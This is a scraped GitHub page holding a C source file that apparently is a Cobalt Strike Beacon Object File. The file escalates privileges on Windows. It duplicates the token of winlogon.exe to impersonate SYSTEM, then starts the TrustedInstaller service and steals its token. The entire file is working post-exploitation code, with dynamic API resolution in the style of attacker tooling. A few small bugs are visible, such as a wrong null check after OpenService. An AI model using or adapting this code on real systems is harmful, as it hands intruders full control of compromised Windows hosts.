-
Notifications
You must be signed in to change notification settings - Fork 351
/
Copy pathelevate_to_system_or_trustedinstaller_bof.c
194 lines (158 loc) · 6.6 KB
/
elevate_to_system_or_trustedinstaller_bof.c
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
#include <windows.h>
#include <stdio.h>
#include <TlHelp32.h>
#include "beacon.h"
#define DEBUG FALSE
#define printf(format, args...) { BeaconPrintf(CALLBACK_OUTPUT, format, ## args); }
DECLSPEC_IMPORT FARPROC WINAPI kernel32$GetProcAddress(HANDLE, CHAR*);
DECLSPEC_IMPORT HANDLE WINAPI kernel32$LoadLibraryA(CHAR*);
FARPROC Resolver(CHAR *lib, CHAR *func);
DWORD GetProcByPID(CHAR *name);
DWORD GetTrustedInstallerPID();
BOOL ImpersonateByPID(DWORD PID, HANDLE *hStorage);
BOOL ElevateSystem(HANDLE *);
BOOL ElevateTrustedInstaller(HANDLE *);
FARPROC Resolver(CHAR *lib, CHAR *func) {
FARPROC ptr = kernel32$GetProcAddress(kernel32$LoadLibraryA(lib), func);
if(DEBUG) {
printf("[%s] %s!%s at 0x%p\n", __func__, lib, func, ptr);
}
return ptr;
}
DWORD GetProcByPID(CHAR *name) {
FARPROC CreateToolhelp32Snapshot = Resolver("kernel32.dll", "CreateToolhelp32Snapshot");
FARPROC Process32First = Resolver("kernel32.dll", "Process32First");
FARPROC Process32Next = Resolver("kernel32.dll", "Process32Next");
FARPROC CloseHandle = Resolver("kernel32.dll", "CloseHandle");
FARPROC strcmp = Resolver("msvcrt.dll", "strcmp");
HANDLE hSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
DWORD PID = 0;
PROCESSENTRY32 pe32;
pe32.dwSize = sizeof(PROCESSENTRY32);
if(Process32First(hSnap, &pe32)) {
do {
if(strcmp(pe32.szExeFile, name) == 0) {
PID = pe32.th32ProcessID;
printf("[%s] Process %s PID is %d\n", __func__, name, PID);
break;
}
} while(Process32Next(hSnap, &pe32));
}
CloseHandle(hSnap);
return PID;
}
DWORD GetTrustedInstallerPID() {
FARPROC OpenSCManager = Resolver("advapi32.dll", "OpenSCManagerA");
FARPROC OpenService = Resolver("advapi32.dll", "OpenServiceA");
FARPROC QueryServiceStatusEx = Resolver("advapi32.dll", "QueryServiceStatusEx");
FARPROC StartService = Resolver("advapi32.dll", "StartServiceA");
FARPROC GetLastError = Resolver("kernel32.dll", "GetLastError");
FARPROC CloseHandle = Resolver("kernel32.dll", "CloseHandle");
FARPROC SleepEx = Resolver("kernel32.dll", "SleepEx");
DWORD PID = 0;
SC_HANDLE schManager = OpenSCManager(NULL, SERVICES_ACTIVE_DATABASE, SC_MANAGER_CONNECT);
if(schManager == NULL) {
printf("[%s] OpenSCManager failed. Error: %d\n", __func__, GetLastError());
return FALSE;
}
SC_HANDLE schService = OpenService(schManager, "TrustedInstaller", SERVICE_QUERY_STATUS | SERVICE_START);
if(schManager == NULL) {
printf("[%s] OpenService failed. Error: %d\n", __func__, GetLastError());
CloseHandle(schManager);
return FALSE;
}
CloseHandle(schManager);
SERVICE_STATUS_PROCESS ssp;
DWORD dwSize = 0;
while(QueryServiceStatusEx(schService, SC_STATUS_PROCESS_INFO, (LPBYTE)&ssp, sizeof(SERVICE_STATUS_PROCESS), &dwSize)) {
printf("[%s] QueryServiceStatusEx need %d bytes.\n", __func__, dwSize);
if(ssp.dwCurrentState == SERVICE_STOPPED) {
if(!StartService(schService, 0, NULL)) {
printf("[%s] StartService failed. Error: %d\n", __func__, GetLastError());
CloseHandle(schService);
return FALSE;
}
}
if(ssp.dwCurrentState == SERVICE_RUNNING) {
PID = ssp.dwProcessId;
printf("[%s] TrustedInstaller Service PID is %d\n", __func__, PID);
break;
}
SleepEx(5000, FALSE);
}
CloseHandle(schService);
return PID;
}
BOOL ImpersonateByPID(DWORD PID, HANDLE *hStorage) {
FARPROC OpenProcess = Resolver("kernel32.dll", "OpenProcess");
FARPROC OpenProcessToken = Resolver("kernel32.dll", "OpenProcessToken");
FARPROC DuplicateTokenEx = Resolver("advapi32.dll", "DuplicateTokenEx");
FARPROC ImpersonateLoggedOnUser = Resolver("advapi32.dll", "ImpersonateLoggedOnUser");
FARPROC GetLastError = Resolver("kernel32.dll", "GetLastError");
FARPROC CloseHandle = Resolver("kernel32.dll", "CloseHandle");
HANDLE hProc = OpenProcess(PROCESS_QUERY_LIMITED_INFORMATION, FALSE, PID);
if(hProc == NULL) {
printf("[%s] OpenProcess on PID %d failed. Error: %d\n", __func__, PID, GetLastError());
return FALSE;
}
HANDLE hToken = NULL;
if(!OpenProcessToken(hProc, TOKEN_DUPLICATE, &hToken)) {
printf("[%s] OpenProcessToken on PID %d failed. Error: %d\n", __func__, PID, GetLastError());
CloseHandle(hProc);
return FALSE;
}
CloseHandle(hProc);
HANDLE hDup = NULL;
SECURITY_ATTRIBUTES sa;
sa.nLength = sizeof(SECURITY_ATTRIBUTES);
sa.lpSecurityDescriptor = NULL;
sa.bInheritHandle = FALSE;
if(!DuplicateTokenEx(hToken, TOKEN_ALL_ACCESS, &sa, SecurityImpersonation, TokenImpersonation, &hDup)) {
printf("[%s] DuplicateTokenEx on PID %d failed. Error: %d\n", __func__, PID, GetLastError());
CloseHandle(hToken);
return FALSE;
}
CloseHandle(hToken);
if(!ImpersonateLoggedOnUser(hDup)) {
printf("[%s] ImpersonateLoggedOnUser on PID %d failed. Error: %d\n", __func__, PID, GetLastError());
CloseHandle(hDup);
return FALSE;
}
*hStorage = hDup;
return TRUE;
}
BOOL ElevateSystem(HANDLE *hTokenSystem) {
DWORD PID = GetProcByPID("winlogon.exe");
if(PID != 0) {
if(ImpersonateByPID(PID, hTokenSystem)) {
printf("[%s] ImpersonateByPID(SYSTEM) succeeded.\n", __func__);
}
}
}
BOOL ElevateTrustedInstaller(HANDLE *hTokenTrustedInstaller) {
DWORD PID = GetTrustedInstallerPID();
if(PID != 0) {
if(ImpersonateByPID(PID, hTokenTrustedInstaller)) {
printf("[%s] ImpersonateByPID(TrustedInstaller) succeeded.\n", __func__);
}
}
}
int go() {
HANDLE hTokenSystem = NULL;
HANDLE hTokenTrustedInstaller = NULL;
FARPROC SetThreadToken = Resolver("kernel32.dll", "SetThreadToken");
FARPROC GetLastError = Resolver("kernel32.dll", "GetLastError");
ElevateSystem(&hTokenSystem);
ElevateTrustedInstaller(&hTokenTrustedInstaller);
printf("[%s] (SYSTEM) Token HANDLE 0x%p.\n", __func__, hTokenSystem);
printf("[%s] (TrustedInstaller) Token HANDLE 0x%p.\n", __func__, hTokenTrustedInstaller);
if(!SetThreadToken(NULL, hTokenSystem)) {
printf("[%s] (SYSTEM) SetThreadToken failed. Error: %d.\n", __func__, GetLastError());
}
if(hTokenTrustedInstaller != NULL) {
if(!SetThreadToken(NULL, hTokenTrustedInstaller)) {
printf("[%s] (TrustedInstaller) SetThreadToken failed. Error: %d.\n", __func__, GetLastError());
}
}
return 0;
}